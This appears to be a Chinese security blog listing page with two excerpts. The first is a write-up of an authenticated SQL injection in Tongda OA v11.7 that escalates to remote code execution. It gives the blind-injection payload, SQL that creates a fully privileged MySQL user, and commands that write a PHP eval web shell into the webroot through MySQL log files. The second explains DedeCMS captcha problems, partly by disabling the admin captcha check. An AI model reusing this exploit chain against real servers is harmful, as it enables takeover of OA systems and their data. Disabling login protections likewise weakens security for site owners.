2020-10-23
通达OA 后台SQL注入到RCE 0day

通达OA 后台SQL注入到RCE 0day

文章来源:一个安全研究员 1.测试环境 测试版本:通达OA v11.7版本 限制条件:需要账号登录 2.代码审计发现注入 注入出现在general/hr/manage/query/delete_cascade.php文件中,代码实现如下: 首先判断$condition_cascade是否为空,如果不为空,则将其中的'替换为'。为什么要这样替换呢,主要是因为V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护,如下: inc/common.inc.php代码 因为是无回显机制,是盲注,所以尝试(select 1 from (select sleep(5))a),结果没那么简单: 触发了通达OA的过滤机制,翻看代码,在inc/conn.php文件中找到过滤机制如下: 其过滤了一些字符,但是并非无法绕过,盲注的核心是:substr、if等函数,均未被过滤,所以还是有机会的。 传入错误的SQL语句时,页面出错: 那么只要构造MySQL报错即可配合if函数进行盲注了,翻看局外人师傅在补天白帽大会上的分享,发现power(9999,99)也可以使数据库报错,所以构造语句: select if((substr(user(),1,1)='r'),1,power(9999,99)) # 当字符相等时,不报错,错误时报错 3.构造利用链 添加用户: grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY '[email protected]' WITH GRANT OPTION 然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限: UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5)); 然后用注入点刷新权限,因为该用户是没有刷新权限的权限的:general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;这样就拥有了所有权限。再次登录: 提示这个,或者让改密码死活改不了。再执行一下 grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY '[email protected] 23' WITH GRANT OPTION 即可。 写shell: # 查路径:select @@basedir; # c:td0a117mysql5,那么web目录就是c:td0a117webroot# 方法1:set global slow_query_log=on;set global slow_query_log_file='C:/td0a117/webroot/tony.php';select '<?php eval($_POST[x]);?>' or sleep(11);# 方法2:set global general_log = on;set global general_log_file = 'C:/td0a117/webroot/tony2.php';select '<?php eval($_POST[x]);?>';show variables like '%general%'; 怕什么真理无穷,进一寸有进一寸的欢喜 ...
网络安全 1690次浏览 0条评论
2020-10-12
织梦cms后台验证码不显示怎么办

织梦cms后台验证码不显示怎么办

织梦Dede后台验证码不显示解决方法,很多时候dedecms网站后台的验证码不显示,验证码不显示网站后台就没法登陆,常见的验证码后台 那么以上三种方法我们应该如何解决织梦Dede后台验证码不显示? 通用解决方案---取消后台验证码功能 因为没有验证码 不能进后台 所以修改php文件源代码: 方法一: 打开dede/login.php 找到如下代码 if(($validate=='' || $validate != $svali) && preg_match("/6/",$safe_gdopen)){ ResetVdValue(); ShowMsg('验证码不正确!','login.php',0,1000); exit; } 第一行替换为   if(false){          好 问题解决 不输验证码后台直接进去 方法二 打开data/safe/inc.safe.config.php 把代码$safe_gdopen = '1,2,3,4,5,6,7'; 中的6,删除即可 Dede后台验证码不显示情况一分析 验证码需要GD库 请检查你的环境是否开启GD库  Dede后台验证码不显示情况二分析 验证码只显示背景 不显示字母 打开验证码生成文件 Include/vdimgck.php  找到     for($i=0;$i<$rndcodelen;$i++)     {         $bc = mt_rand(0, 1);         $rndstring[$i] = strtoupper($rndstring[$i]);         $c_fontColor = $fontColor[mt_rand(0,4)];         $y_pos = $i==0 ? 4 : $i*($font_size+2);         $c = mt_rand(0, 15);         @imagettftext($im, $font_size, $c, $y_pos, 19, $c_fontColor, $font_file, $rndstring[$i]);         $lastc = $rndstring[$i]; } Imagettftext()函数没有成功的执行导致了验证码只显示背景 不显示字母 具体原因为 字体文件路径不对.解决方法 1确认include/data/fonts/ 里面存在字体文件  默认为ggbi.ttf 2在for($i=0;$i<$rndcodelen;$i++) 上一行 加上如下代码:             $font_file= str_replace("\","/",$font_file);  即把字体文件路径中反斜杠替换成斜杠 因为我们知道反斜杠有转译字符的功能, $font_file 路经大体为 盘符:appservwww 系统错误的把反斜杠 当作转义用了 导致$font_file也就不是一个路径了 所以Imagettftext()函数总是返回错误 加上$font_file= str_replace("\","/",$font_file);即可解决 Dede后台验证码不显示情况三分析  Include/data/words/words.txt 文件不存在   解决方案1 拷贝一个进去                2找到代码    'word_type'  => (int)$safe_codetype,   // 1:数字  2:英文   3:单词                 换成'word_type'  =>1  (或2) 既验证码为数字或英文   Dede后台验证码不显示 全部情况解决 如果原来可以显示后来取消验证码后再设置就无法显示,可以通过覆盖data与include目录试试 ...
dedecms 1017次浏览 0条评论
微信二维码